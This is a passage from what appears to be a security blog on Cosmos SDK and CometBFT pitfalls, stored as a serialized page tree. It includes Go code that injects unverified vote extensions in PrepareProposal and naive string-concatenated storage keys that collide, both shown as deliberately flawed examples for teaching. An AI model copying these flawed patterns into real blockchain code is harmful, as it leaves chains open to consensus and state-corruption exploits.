value":16163},{"type":22,"tag":264,"props":85523,"children":85524},{"style":1539},[85525],{"type":27,"value":16103},{"type":22,"tag":264,"props":85527,"children":85528},{"class":1534,"line":1560},[85529],{"type":22,"tag":264,"props":85530,"children":85531},{"style":4309},[85532],{"type":27,"value":83168},{"type":22,"tag":264,"props":85534,"children":85535},{"class":1534,"line":1569},[85536,85540,85545,85549],{"type":22,"tag":264,"props":85537,"children":85538},{"style":4293},[85539],{"type":27,"value":81444},{"type":22,"tag":264,"props":85541,"children":85542},{"style":1549},[85543],{"type":27,"value":85544}," injection",{"type":22,"tag":264,"props":85546,"children":85547},{"style":1539},[85548],{"type":27,"value":77553},{"type":22,"tag":264,"props":85550,"children":85551},{"style":4722},[85552],{"type":27,"value":85553},"byte\n",{"type":22,"tag":264,"props":85555,"children":85556},{"class":1534,"line":1583},[85557,85561,85566,85570,85574,85578,85582,85586,85590,85594,85599,85603,85608,85612,85617],{"type":22,"tag":264,"props":85558,"children":85559},{"style":4328},[85560],{"type":27,"value":4575},{"type":22,"tag":264,"props":85562,"children":85563},{"style":1549},[85564],{"type":27,"value":85565}," req",{"type":22,"tag":264,"props":85567,"children":85568},{"style":1539},[85569],{"type":27,"value":210},{"type":22,"tag":264,"props":85571,"children":85572},{"style":1549},[85573],{"type":27,"value":84804},{"type":22,"tag":264,"props":85575,"children":85576},{"style":4309},[85577],{"type":27,"value":15493},{"type":22,"tag":264,"props":85579,"children":85580},{"style":1549},[85581],{"type":27,"value":27155},{"type":22,"tag":264,"props":85583,"children":85584},{"style":1539},[85585],{"type":27,"value":210},{"type":22,"tag":264,"props":85587,"children":85588},{"style":4401},[85589],{"type":27,"value":85005},{"type":22,"tag":264,"props":85591,"children":85592},{"style":1539},[85593],{"type":27,"value":31482},{"type":22,"tag":264,"props":85595,"children":85596},{"style":1549},[85597],{"type":27,"value":85598},"Abci",{"type":22,"tag":264,"props":85600,"children":85601},{"style":1539},[85602],{"type":27,"value":210},{"type":22,"tag":264,"props":85604,"children":85605},{"style":1549},[85606],{"type":27,"value":85607},"VoteExtensionsEnableHeight",{"type":22,"tag":264,"props":85609,"children":85610},{"style":4309},[85611],{"type":27,"value":15484},{"type":22,"tag":264,"props":85613,"children":85614},{"style":1549},[85615],{"type":27,"value":85616}," collectSigs",{"type":22,"tag":264,"props":85618,"children":85619},{"style":1539},[85620],{"type":27,"value":4594},{"type":22,"tag":264,"props":85622,"children":85623},{"class":1534,"line":1603},[85624],{"type":22,"tag":264,"props":85625,"children":85626},{"style":4284},[85627],{"type":27,"value":85628},"            //Fails to verify vote extensions with VerifyVoteExtension rules\n",{"type":22,"tag":264,"props":85630,"children":85631},{"class":1534,"line":1612},[85632,85636,85640,85645,85649,85654,85658,85662,85666,85671,85675,85680,85684,85688,85692,85696,85700,85704,85708,85713,85717,85721,85725,85730],{"type":22,"tag":264,"props":85633,"children":85634},{"style":1549},[85635],{"type":27,"value":83662},{"type":22,"tag":264,"props":85637,"children":85638},{"style":4309},[85639],{"type":27,"value":77742},{"type":22,"tag":264,"props":85641,"children":85642},{"style":1549},[85643],{"type":27,"value":85644}," baseapp",{"type":22,"tag":264,"props":85646,"children":85647},{"style":1539},[85648],{"type":27,"value":210},{"type":22,"tag":264,"props":85650,"children":85651},{"style":4401},[85652],{"type":27,"value":85653},"ValidateVoteExtensions",{"type":22,"tag":264,"props":85655,"children":85656},{"style":1539},[85657],{"type":27,"value":2660},{"type":22,"tag":264,"props":85659,"children":85660},{"style":1549},[85661],{"type":27,"value":21587},{"type":22,"tag":264,"props":85663,"children":85664},{"style":1539},[85665],{"type":27,"value":4380},{"type":22,"tag":264,"props":85667,"children":85668},{"style":1549},[85669],{"type":27,"value":85670},"h",{"type":22,"tag":264,"props":85672,"children":85673},{"style":1539},[85674],{"type":27,"value":210},{"type":22,"tag":264,"props":85676,"children":85677},{"style":1549},[85678],{"type":27,"value":85679},"stakingKeeper",{"type":22,"tag":264,"props":85681,"children":85682},{"style":1539},[85683],{"type":27,"value":4380},{"type":22,"tag":264,"props":85685,"children":85686},{"style":1549},[85687],{"type":27,"value":85474},{"type":22,"tag":264,"props":85689,"children":85690},{"style":1539},[85691],{"type":27,"value":210},{"type":22,"tag":264,"props":85693,"children":85694},{"style":1549},[85695],{"type":27,"value":84804},{"type":22,"tag":264,"props":85697,"children":85698},{"style":1539},[85699],{"type":27,"value":4380},{"type":22,"tag":264,"props":85701,"children":85702},{"style":1549},[85703],{"type":27,"value":21587},{"type":22,"tag":264,"props":85705,"children":85706},{"style":1539},[85707],{"type":27,"value":210},{"type":22,"tag":264,"props":85709,"children":85710},{"style":4401},[85711],{"type":27,"value":85712},"ChainID",{"type":22,"tag":264,"props":85714,"children":85715},{"style":1539},[85716],{"type":27,"value":19678},{"type":22,"tag":264,"props":85718,"children":85719},{"style":1549},[85720],{"type":27,"value":85474},{"type":22,"tag":264,"props":85722,"children":85723},{"style":1539},[85724],{"type":27,"value":210},{"type":22,"tag":264,"props":85726,"children":85727},{"style":1549},[85728],{"type":27,"value":85729},"LocalLastCommit",{"type":22,"tag":264,"props":85731,"children":85732},{"style":1539},[85733],{"type":27,"value":4463},{"type":22,"tag":264,"props":85735,"children":85736},{"class":1534,"line":1621},[85737,85741,85745,85749,85753],{"type":22,"tag":264,"props":85738,"children":85739},{"style":4328},[85740],{"type":27,"value":60122},{"type":22,"tag":264,"props":85742,"children":85743},{"style":1549},[85744],{"type":27,"value":49841},{"type":22,"tag":264,"props":85746,"children":85747},{"style":4309},[85748],{"type":27,"value":65709},{"type":22,"tag":264,"props":85750,"children":85751},{"style":4293},[85752],{"type":27,"value":83244},{"type":22,"tag":264,"props":85754,"children":85755},{"style":1539},[85756],{"type":27,"value":4594},{"type":22,"tag":264,"props":85758,"children":85759},{"class":1534,"line":1629},[85760,85764,85768,85772],{"type":22,"tag":264,"props":85761,"children":85762},{"style":4328},[85763],{"type":27,"value":62050},{"type":22,"tag":264,"props":85765,"children":85766},{"style":4293},[85767],{"type":27,"value":83244},{"type":22,"tag":264,"props":85769,"children":85770},{"style":1539},[85771],{"type":27,"value":4380},{"type":22,"tag":264,"props":85773,"children":85774},{"style":1549},[85775],{"type":27,"value":84964},{"type":22,"tag":264,"props":85777,"children":85778},{"class":1534,"line":1642},[85779],{"type":22,"tag":264,"props":85780,"children":85781},{"style":1539},[85782],{"type":27,"value":60206},{"type":22,"tag":264,"props":85784,"children":85785},{"class":1534,"line":1660},[85786,85791,85795,85799,85803,85808,85812,85817,85821,85825,85829,85833],{"type":22,"tag":264,"props":85787,"children":85788},{"style":1549},[85789],{"type":27,"value":85790},"            injection",{"type":22,"tag":264,"props":85792,"children":85793},{"style":1539},[85794],{"type":27,"value":4380},{"type":22,"tag":264,"props":85796,"children":85797},{"style":1549},[85798],{"type":27,"value":49740},{"type":22,"tag":264,"props":85800,"children":85801},{"style":4309},[85802],{"type":27,"value":4312},{"type":22,"tag":264,"props":85804,"children":85805},{"style":1549},[85806],{"type":27,"value":85807}," json",{"type":22,"tag":264,"props":85809,"children":85810},{"style":1539},[85811],{"type":27,"value":210},{"type":22,"tag":264,"props":85813,"children":85814},{"style":4401},[85815],{"type":27,"value":85816},"Marshal",{"type":22,"tag":264,"props":85818,"children":85819},{"style":1539},[85820],{"type":27,"value":2660},{"type":22,"tag":264,"props":85822,"children":85823},{"style":1549},[85824],{"type":27,"value":85474},{"type":22,"tag":264,"props":85826,"children":85827},{"style":1539},[85828],{"type":27,"value":210},{"type":22,"tag":264,"props":85830,"children":85831},{"style":1549},[85832],{"type":27,"value":85729},{"type":22,"tag":264,"props":85834,"children":85835},{"style":1539},[85836],{"type":27,"value":4463},{"type":22,"tag":264,"props":85838,"children":85839},{"class":1534,"line":1668},[85840,85844,85848,85852,85856],{"type":22,"tag":264,"props":85841,"children":85842},{"style":4328},[85843],{"type":27,"value":60122},{"type":22,"tag":264,"props":85845,"children":85846},{"style":1549},[85847],{"type":27,"value":49841},{"type":22,"tag":264,"props":85849,"children":85850},{"style":4309},[85851],{"type":27,"value":65709},{"type":22,"tag":264,"props":85853,"children":85854},{"style":4293},[85855],{"type":27,"value":83244},{"type":22,"tag":264,"props":85857,"children":85858},{"style":1539},[85859],{"type":27,"value":4594},{"type":22,"tag":264,"props":85861,"children":85862},{"class":1534,"line":1677},[85863,85868,85872,85877,85881,85885,85889,85894,85898,85903,85907,85911],{"type":22,"tag":264,"props":85864,"children":85865},{"style":1549},[85866],{"type":27,"value":85867},"                h",{"type":22,"tag":264,"props":85869,"children":85870},{"style":1539},[85871],{"type":27,"value":210},{"type":22,"tag":264,"props":85873,"children":85874},{"style":1549},[85875],{"type":27,"value":85876},"logger",{"type":22,"tag":264,"props":85878,"children":85879},{"style":1539},[85880],{"type":27,"value":210},{"type":22,"tag":264,"props":85882,"children":85883},{"style":4401},[85884],{"type":27,"value":38712},{"type":22,"tag":264,"props":85886,"children":85887},{"style":1539},[85888],{"type":27,"value":2660},{"type":22,"tag":264,"props":85890,"children":85891},{"style":1597},[85892],{"type":27,"value":85893},"\"failed to marshal extended votes\"",{"type":22,"tag":264,"props":85895,"children":85896},{"style":1539},[85897],{"type":27,"value":4380},{"type":22,"tag":264,"props":85899,"children":85900},{"style":1597},[85901],{"type":27,"value":85902},"\"err\"",{"type":22,"tag":264,"props":85904,"children":85905},{"style":1539},[85906],{"type":27,"value":4380},{"type":22,"tag":264,"props":85908,"children":85909},{"style":1549},[85910],{"type":27,"value":49740},{"type":22,"tag":264,"props":85912,"children":85913},{"style":1539},[85914],{"type":27,"value":4463},{"type":22,"tag":264,"props":85916,"children":85917},{"class":1534,"line":1686},[85918,85922,85926,85930],{"type":22,"tag":264,"props":85919,"children":85920},{"style":4328},[85921],{"type":27,"value":62050},{"type":22,"tag":264,"props":85923,"children":85924},{"style":4293},[85925],{"type":27,"value":83244},{"type":22,"tag":264,"props":85927,"children":85928},{"style":1539},[85929],{"type":27,"value":4380},{"type":22,"tag":264,"props":85931,"children":85932},{"style":1549},[85933],{"type":27,"value":84964},{"type":22,"tag":264,"props":85935,"children":85936},{"class":1534,"line":4948},[85937],{"type":22,"tag":264,"props":85938,"children":85939},{"style":1539},[85940],{"type":27,"value":60206},{"type":22,"tag":264,"props":85942,"children":85943},{"class":1534,"line":4957},[85944],{"type":22,"tag":264,"props":85945,"children":85946},{"style":4309},[85947],{"type":27,"value":83844},{"type":22,"tag":264,"props":85949,"children":85950},{"class":1534,"line":4980},[85951],{"type":22,"tag":264,"props":85952,"children":85953},{"style":1539},[85954],{"type":27,"value":4651},{"type":22,"tag":264,"props":85956,"children":85957},{"class":1534,"line":4989},[85958,85963,85967,85971,85975,85980,85984,85989,85993,85997,86001,86005],{"type":22,"tag":264,"props":85959,"children":85960},{"style":1549},[85961],{"type":27,"value":85962},"        defaultRes",{"type":22,"tag":264,"props":85964,"children":85965},{"style":1539},[85966],{"type":27,"value":4380},{"type":22,"tag":264,"props":85968,"children":85969},{"style":1549},[85970],{"type":27,"value":49740},{"type":22,"tag":264,"props":85972,"children":85973},{"style":4309},[85974],{"type":27,"value":77742},{"type":22,"tag":264,"props":85976,"children":85977},{"style":1549},[85978],{"type":27,"value":85979}," h",{"type":22,"tag":264,"props":85981,"children":85982},{"style":1539},[85983],{"type":27,"value":210},{"type":22,"tag":264,"props":85985,"children":85986},{"style":4401},[85987],{"type":27,"value":85988},"defaultPrepareProposal",{"type":22,"tag":264,"props":85990,"children":85991},{"style":1539},[85992],{"type":27,"value":2660},{"type":22,"tag":264,"props":85994,"children":85995},{"style":1549},[85996],{"type":27,"value":21587},{"type":22,"tag":264,"props":85998,"children":85999},{"style":1539},[86000],{"type":27,"value":4380},{"type":22,"tag":264,"props":86002,"children":86003},{"style":1549},[86004],{"type":27,"value":85474},{"type":22,"tag":264,"props":86006,"children":86007},{"style":1539},[86008],{"type":27,"value":4463},{"type":22,"tag":264,"props":86010,"children":86011},{"class":1534,"line":4998},[86012],{"type":22,"tag":264,"props":86013,"children":86014},{"style":4309},[86015],{"type":27,"value":83168},{"type":22,"tag":264,"props":86017,"children":86018},{"class":1534,"line":5067},[86019,86024,86028,86033,86037],{"type":22,"tag":264,"props":86020,"children":86021},{"style":1549},[86022],{"type":27,"value":86023},"        proposalTxs",{"type":22,"tag":264,"props":86025,"children":86026},{"style":4309},[86027],{"type":27,"value":77742},{"type":22,"tag":264,"props":86029,"children":86030},{"style":1549},[86031],{"type":27,"value":86032}," defaultRes",{"type":22,"tag":264,"props":86034,"children":86035},{"style":1539},[86036],{"type":27,"value":210},{"type":22,"tag":264,"props":86038,"children":86039},{"style":1549},[86040],{"type":27,"value":86041},"Txs\n",{"type":22,"tag":264,"props":86043,"children":86044},{"class":1534,"line":5075},[86045,86049,86053,86057,86061],{"type":22,"tag":264,"props":86046,"children":86047},{"style":4328},[86048],{"type":27,"value":4575},{"type":22,"tag":264,"props":86050,"children":86051},{"style":1549},[86052],{"type":27,"value":85544},{"type":22,"tag":264,"props":86054,"children":86055},{"style":4309},[86056],{"type":27,"value":65709},{"type":22,"tag":264,"props":86058,"children":86059},{"style":4293},[86060],{"type":27,"value":83244},{"type":22,"tag":264,"props":86062,"children":86063},{"style":1539},[86064],{"type":27,"value":4594},{"type":22,"tag":264,"props":86066,"children":86067},{"class":1534,"line":5105},[86068,86073,86077,86081,86086,86091,86095,86100,86104,86109,86113],{"type":22,"tag":264,"props":86069,"children":86070},{"style":1549},[86071],{"type":27,"value":86072},"            proposalTxs",{"type":22,"tag":264,"props":86074,"children":86075},{"style":4309},[86076],{"type":27,"value":4312},{"type":22,"tag":264,"props":86078,"children":86079},{"style":4401},[86080],{"type":27,"value":79022},{"type":22,"tag":264,"props":86082,"children":86083},{"style":1539},[86084],{"type":27,"value":86085},"([][]",{"type":22,"tag":264,"props":86087,"children":86088},{"style":4722},[86089],{"type":27,"value":86090},"byte",{"type":22,"tag":264,"props":86092,"children":86093},{"style":1539},[86094],{"type":27,"value":77944},{"type":22,"tag":264,"props":86096,"children":86097},{"style":1549},[86098],{"type":27,"value":86099},"injection",{"type":22,"tag":264,"props":86101,"children":86102},{"style":1539},[86103],{"type":27,"value":77963},{"type":22,"tag":264,"props":86105,"children":86106},{"style":1549},[86107],{"type":27,"value":86108},"proposalTxs",{"type":22,"tag":264,"props":86110,"children":86111},{"style":4309},[86112],{"type":27,"value":10889},{"type":22,"tag":264,"props":86114,"children":86115},{"style":1539},[86116],{"type":27,"value":4463},{"type":22,"tag":264,"props":86118,"children":86119},{"class":1534,"line":5113},[86120,86125,86129,86133,86137,86141,86145,86150,86154,86159,86163,86167,86171,86175],{"type":22,"tag":264,"props":86121,"children":86122},{"style":1549},[86123],{"type":27,"value":86124},"            h",{"type":22,"tag":264,"props":86126,"children":86127},{"style":1539},[86128],{"type":27,"value":210},{"type":22,"tag":264,"props":86130,"children":86131},{"style":1549},[86132],{"type":27,"value":85876},{"type":22,"tag":264,"props":86134,"children":86135},{"style":1539},[86136],{"type":27,"value":210},{"type":22,"tag":264,"props":86138,"children":86139},{"style":4401},[86140],{"type":27,"value":26023},{"type":22,"tag":264,"props":86142,"children":86143},{"style":1539},[86144],{"type":27,"value":2660},{"type":22,"tag":264,"props":86146,"children":86147},{"style":1597},[86148],{"type":27,"value":86149},"\"injected local last commit\"",{"type":22,"tag":264,"props":86151,"children":86152},{"style":1539},[86153],{"type":27,"value":4380},{"type":22,"tag":264,"props":86155,"children":86156},{"style":1597},[86157],{"type":27,"value":86158},"\"height\"",{"type":22,"tag":264,"props":86160,"children":86161},{"style":1539},[86162],{"type":27,"value":4380},{"type":22,"tag":264,"props":86164,"children":86165},{"style":1549},[86166],{"type":27,"value":85474},{"type":22,"tag":264,"props":86168,"children":86169},{"style":1539},[86170],{"type":27,"value":210},{"type":22,"tag":264,"props":86172,"children":86173},{"style":1549},[86174],{"type":27,"value":84804},{"type":22,"tag":264,"props":86176,"children":86177},{"style":1539},[86178],{"type":27,"value":4463},{"type":22,"tag":264,"props":86180,"children":86181},{"class":1534,"line":5145},[86182],{"type":22,"tag":264,"props":86183,"children":86184},{"style":1539},[86185],{"type":27,"value":4651},{"type":22,"tag":264,"props":86187,"children":86188},{"class":1534,"line":5153},[86189,86193,86197,86201,86205,86209],{"type":22,"tag":264,"props":86190,"children":86191},{"style":4328},[86192],{"type":27,"value":17044},{"type":22,"tag":264,"props":86194,"children":86195},{"style":4309},[86196],{"type":27,"value":8434},{"type":22,"tag":264,"props":86198,"children":86199},{"style":4722},[86200],{"type":27,"value":85483},{"type":22,"tag":264,"props":86202,"children":86203},{"style":1539},[86204],{"type":27,"value":210},{"type":22,"tag":264,"props":86206,"children":86207},{"style":4722},[86208],{"type":27,"value":85513},{"type":22,"tag":264,"props":86210,"children":86211},{"style":1539},[86212],{"type":27,"value":1542},{"type":22,"tag":264,"props":86214,"children":86215},{"class":1534,"line":5213},[86216,86221,86225,86229],{"type":22,"tag":264,"props":86217,"children":86218},{"style":1549},[86219],{"type":27,"value":86220},"            Txs",{"type":22,"tag":264,"props":86222,"children":86223},{"style":1539},[86224],{"type":27,"value":1594},{"type":22,"tag":264,"props":86226,"children":86227},{"style":1549},[86228],{"type":27,"value":86108},{"type":22,"tag":264,"props":86230,"children":86231},{"style":1539},[86232],{"type":27,"value":4812},{"type":22,"tag":264,"props":86234,"children":86235},{"class":1534,"line":10343},[86236,86241],{"type":22,"tag":264,"props":86237,"children":86238},{"style":1539},[86239],{"type":27,"value":86240},"        }, ",{"type":22,"tag":264,"props":86242,"children":86243},{"style":4293},[86244],{"type":27,"value":77968},{"type":22,"tag":264,"props":86246,"children":86247},{"class":1534,"line":10361},[86248],{"type":22,"tag":264,"props":86249,"children":86250},{"style":1539},[86251],{"type":27,"value":1674},{"type":22,"tag":264,"props":86253,"children":86254},{"class":1534,"line":10406},[86255],{"type":22,"tag":264,"props":86256,"children":86257},{"style":1539},[86258],{"type":27,"value":1692},{"type":22,"tag":23,"props":86260,"children":86261},{},[86262,86264,86269,86270,86275,86277,86284],{"type":27,"value":86263},"Aside from the more complex variant, pure validation mismatches are also still prevalent despite being a well-known attack surface. This stems from ",{"type":22,"tag":257,"props":86265,"children":86267},{"className":86266},[],[86268],{"type":27,"value":84633},{"type":27,"value":4370},{"type":22,"tag":257,"props":86271,"children":86273},{"className":86272},[],[86274],{"type":27,"value":84701},{"type":27,"value":86276},") rejections by various obscure checks hidden within CometBTF. For example, this commit fixes a bug where ",{"type":22,"tag":69,"props":86278,"children":86281},{"href":86279,"rel":86280},"https://github.com/babylonlabs-io/babylon/commit/aa827f875a16ebf85efee5d9a6c8c4e76dbfb7bd#diff-77659089b31367690393a968f4bfacfd1bf960ed300965729df216a6fb612699",[73],[86282],{"type":27,"value":86283},"PrepareProposal may return a Proposal larger than MaxTxBytes",{"type":27,"value":86285},", which will later get rejected by CometBTF.",{"type":22,"tag":169,"props":86287,"children":86289},{"id":86288},"the-keymaker",[86290],{"type":27,"value":86291},"The Keymaker",{"type":22,"tag":23,"props":86293,"children":86294},{},[86295,86297,86303,86305,86310],{"type":27,"value":86296},"States (persistent storage) are another crucial component in state machines. Cosmos relies on a custom key-value storage called",{"type":22,"tag":257,"props":86298,"children":86300},{"className":86299},[],[86301],{"type":27,"value":86302},"KVStore",{"type":27,"value":86304}," to handle states efficently. In ",{"type":22,"tag":257,"props":86306,"children":86308},{"className":86307},[],[86309],{"type":27,"value":86302},{"type":27,"value":86311},", keys and values are both represented as simple byte slices, requiring developers to handle serialization and deserialization of more intricate structures when working with storage.",{"type":22,"tag":23,"props":86313,"children":86314},{},[86315],{"type":27,"value":86316},"The complexity behind proper data serialization often results in flawed code and security vulnerabilities. Below, we showcase relatively simple (but buggy) implementations and progressively address and mitigate the issues until the code is deemed safe from exploits.",{"type":22,"tag":23,"props":86318,"children":86319},{},[86320,86322,86328],{"type":27,"value":86321},"Let's start by considering a scenario where we need to store the ",{"type":22,"tag":257,"props":86323,"children":86325},{"className":86324},[],[86326],{"type":27,"value":86327},"positionMap",{"type":27,"value":86329}," structure mentioned below into storage.",{"type":22,"tag":618,"props":86331,"children":86333},{"code":86332,"language":77490,"meta":7,"className":77491,"style":7},"type VaultId uint64\ntype Username string\ntype PositionName string\ntype Position struct {\n    data []byte\n}\ntype PositionMap :=\n    map[VaultId]map[Username]map[PositionName]Position\n",[86334],{"type":22,"tag":257,"props":86335,"children":86336},{"__ignoreMap":7},[86337,86353,86370,86386,86405,86420,86427,86444],{"type":22,"tag":264,"props":86338,"children":86339},{"class":1534,"line":1535},[86340,86344,86349],{"type":22,"tag":264,"props":86341,"children":86342},{"style":4293},[86343],{"type":27,"value":34072},{"type":22,"tag":264,"props":86345,"children":86346},{"style":4722},[86347],{"type":27,"value":86348}," VaultId",{"type":22,"tag":264,"props":86350,"children":86351},{"style":4722},[86352],{"type":27,"value":77528},{"type":22,"tag":264,"props":86354,"children":86355},{"class":1534,"line":1545},[86356,86360,86365],{"type":22,"tag":264,"props":86357,"children":86358},{"style":4293},[86359],{"type":27,"value":34072},{"type":22,"tag":264,"props":86361,"children":86362},{"style":4722},[86363],{"type":27,"value":86364}," Username",{"type":22,"tag":264,"props":86366,"children":86367},{"style":4722},[86368],{"type":27,"value":86369}," string\n",{"type":22,"tag":264,"props":86371,"children":86372},{"class":1534,"line":1560},[86373,86377,86382],{"type":22,"tag":264,"props":86374,"children":86375},{"style":4293},[86376],{"type":27,"value":34072},{"type":22,"tag":264,"props":86378,"children":86379},{"style":4722},[86380],{"type":27,"value":86381}," PositionName",{"type":22,"tag":264,"props":86383,"children":86384},{"style":4722},[86385],{"type":27,"value":86369},{"type":22,"tag":264,"props":86387,"children":86388},{"class":1534,"line":1569},[86389,86393,86397,86401],{"type":22,"tag":264,"props":86390,"children":86391},{"style":4293},[86392],{"type":27,"value":34072},{"type":22,"tag":264,"props":86394,"children":86395},{"style":4722},[86396],{"type":27,"value":8718},{"type":22,"tag":264,"props":86398,"children":86399},{"style":4293},[86400],{"type":27,"value":22458},{"type":22,"tag":264,"props":86402,"children":86403},{"style":1539},[86404],{"type":27,"value":4594},{"type":22,"tag":264,"props":86406,"children":86407},{"class":1534,"line":1583},[86408,86412,86416],{"type":22,"tag":264,"props":86409,"children":86410},{"style":1549},[86411],{"type":27,"value":44548},{"type":22,"tag":264,"props":86413,"children":86414},{"style":1539},[86415],{"type":27,"value":77553},{"type":22,"tag":264,"props":86417,"children":86418},{"style":4722},[86419],{"type":27,"value":85553},{"type":22,"tag":264,"props":86421,"children":86422},{"class":1534,"line":1603},[86423],{"type":22,"tag":264,"props":86424,"children":86425},{"style":1539},[86426],{"type":27,"value":1692},{"type":22,"tag":264,"props":86428,"children":86429},{"class":1534,"line":1612},[86430,86434,86439],{"type":22,"tag":264,"props":86431,"children":86432},{"style":4293},[86433],{"type":27,"value":34072},{"type":22,"tag":264,"props":86435,"children":86436},{"style":4722},[86437],{"type":27,"value":86438}," PositionMap",{"type":22,"tag":264,"props":86440,"children":86441},{"style":4309},[86442],{"type":27,"value":86443}," :=\n",{"type":22,"tag":264,"props":86445,"children":86446},{"class":1534,"line":1621},[86447,86452,86456,86461,86465,86469,86473,86478,86482,86486,86490,86495,86499],{"type":22,"tag":264,"props":86448,"children":86449},{"style":4293},[86450],{"type":27,"value":86451},"    map",{"type":22,"tag":264,"props":86453,"children":86454},{"style":1539},[86455],{"type":27,"value":5045},{"type":22,"tag":264,"props":86457,"children":86458},{"style":4722},[86459],{"type":27,"value":86460},"VaultId",{"type":22,"tag":264,"props":86462,"children":86463},{"style":1539},[86464],{"type":27,"value":16710},{"type":22,"tag":264,"props":86466,"children":86467},{"style":4293},[86468],{"type":27,"value":68425},{"type":22,"tag":264,"props":86470,"children":86471},{"style":1539},[86472],{"type":27,"value":5045},{"type":22,"tag":264,"props":86474,"children":86475},{"style":4722},[86476],{"type":27,"value":86477},"Username",{"type":22,"tag":264,"props":86479,"children":86480},{"style":1539},[86481],{"type":27,"value":16710},{"type":22,"tag":264,"props":86483,"children":86484},{"style":4293},[86485],{"type":27,"value":68425},{"type":22,"tag":264,"props":86487,"children":86488},{"style":1539},[86489],{"type":27,"value":5045},{"type":22,"tag":264,"props":86491,"children":86492},{"style":4722},[86493],{"type":27,"value":86494},"PositionName",{"type":22,"tag":264,"props":86496,"children":86497},{"style":1539},[86498],{"type":27,"value":16710},{"type":22,"tag":264,"props":86500,"children":86501},{"style":4722},[86502],{"type":27,"value":86503},"Position\n",{"type":22,"tag":23,"props":86505,"children":86506},{},[86507,86509,86515],{"type":27,"value":86508},"Given that there are two levels of keys in ",{"type":22,"tag":257,"props":86510,"children":86512},{"className":86511},[],[86513],{"type":27,"value":86514},"PositionMap",{"type":27,"value":86516},", we should try to serialize these three map keys into a hierarchically searchable storage key. The most straightforward mitigation is to convert all fields into strings and concat them together.",{"type":22,"tag":618,"props":86518,"children":86520},{"code":86519,"language":77490,"meta":7,"className":77491,"style":7},"storageKey := fmt.Sprintf(\n    \"%d%s%s\",\n    vaultId,\n    username,\n    positionName,\n)\n",[86521],{"type":22,"tag":257,"props":86522,"children":86523},{"__ignoreMap":7},[86524,86553,86565,86577,86589,86601],{"type":22,"tag":264,"props":86525,"children":86526},{"class":1534,"line":1535},[86527,86532,86536,86540,86544,86549],{"type":22,"tag":264,"props":86528,"children":86529},{"style":1549},[86530],{"type":27,"value":86531},"storageKey",{"type":22,"tag":264,"props":86533,"children":86534},{"style":4309},[86535],{"type":27,"value":77742},{"type":22,"tag":264,"props":86537,"children":86538},{"style":1549},[86539],{"type":27,"value":83560},{"type":22,"tag":264,"props":86541,"children":86542},{"style":1539},[86543],{"type":27,"value":210},{"type":22,"tag":264,"props":86545,"children":86546},{"style":4401},[86547],{"type":27,"value":86548},"Sprintf",{"type":22,"tag":264,"props":86550,"children":86551},{"style":1539},[86552],{"type":27,"value":4767},{"type":22,"tag":264,"props":86554,"children":86555},{"class":1534,"line":1545},[86556,86561],{"type":22,"tag":264,"props":86557,"children":86558},{"style":1597},[86559],{"type":27,"value":86560},"    \"%d%s%s\"",{"type":22,"tag":264,"props":86562,"children":86563},{"style":1539},[86564],{"type":27,"value":4812},{"type":22,"tag":264,"props":86566,"children":86567},{"class":1534,"line":1560},[86568,86573],{"type":22,"tag":264,"props":86569,"children":86570},{"style":1549},[86571],{"type":27,"value":86572},"    vaultId",{"type":22,"tag":264,"props":86574,"children":86575},{"style":1539},[86576],{"type":27,"value":4812},{"type":22,"tag":264,"props":86578,"children":86579},{"class":1534,"line":1569},[86580,86585],{"type":22,"tag":264,"props":86581,"children":86582},{"style":1549},[86583],{"type":27,"value":86584},"    username",{"type":22,"tag":264,"props":86586,"children":86587},{"style":1539},[86588],{"type":27,"value":4812},{"type":22,"tag":264,"props":86590,"children":86591},{"class":1534,"line":1583},[86592,86597],{"type":22,"tag":264,"props":86593,"children":86594},{"style":1549},[86595],{"type":27,"value":86596},"    positionName",{"type":22,"tag":264,"props":86598,"children":86599},{"style":1539},[86600],{"type":27,"value":4812},{"type":22,"tag":264,"props":86602,"children":86603},{"class":1534,"line":1603},[86604],{"type":22,"tag":264,"props":86605,"children":86606},{"style":1539},[86607],{"type":27,"value":4463},{"type":22,"tag":23,"props":86609,"children":86610},{},[86611],{"type":27,"value":86612},"Although plain concatenation allows us to easily construct a storage key, it becomes apparent that this implementation is prone to key collisions.",{"type":22,"tag":618,"props":86614,"children":86616},{"code":86615},"vaultId = 1,  username = \"2a\", positionName = \"b\"\n    => storageKey = \"12ab\"\n\nvaultId = 12, username = \"a\",  positionName = \"b\"\n    => storageKey = \"12ab\"\n",[86617],{"type":22,"tag":257,"props":86618,"children":86619},{"__ignoreMap":7},[86620],{"type":27,"value":86615},{"type":22,"tag":23,"props":86622,"children":86623},{},[86624,86629],{"type":22,"tag":1699,"props":86625,"children":86626},{},[86627],{"type":27,"value":86628},"So, how can we mitigate this issue?",{"type":27,"value":86630},"\nPerhaps we can add a field separator between each field, which would resemble the following:",{"type":22,"tag":618,"props":86632,"children":86634},{"code":86633,"language":77490,"meta":7,"className":77491,"style":7},"const (\n    Seperator = \"|\"\n)\n\nstorageKey := fmt.Sprintf(\n    \"%d%s%s%s%s\",\n    vaultId,\n    Seperator,\n    username,\n    Seperator,\n    positionName,\n)\n",[86635],{"type":22,"tag":257,"props":86636,"children":86637},{"__ignoreMap":7},[86638,86649,86666,86673,86680,86707,86719,86730,86741,86752,86763,86774],{"type":22,"tag":264,"props":86639,"children":86640},{"class":1534,"line":1535},[86641,86645],{"type":22,"tag":264,"props":86642,"children":86643},{"style":4293},[86644],{"type":27,"value":10953},{"type":22,"tag":264,"props":86646,"children":86647},{"style":1539},[86648],{"type":27,"value":79892},{"type":22,"tag":264,"props":86650,"children":86651},{"class":1534,"line":1545},[86652,86657,86661],{"type":22,"tag":264,"props":86653,"children":86654},{"style":1549},[86655],{"type":27,"value":86656},"    Seperator",{"type":22,"tag":264,"props":86658,"children":86659},{"style":4309},[86660],{"type":27,"value":4312},{"type":22,"tag":264,"props":86662,"children":86663},{"style":1597},[86664],{"type":27,"value":86665}," 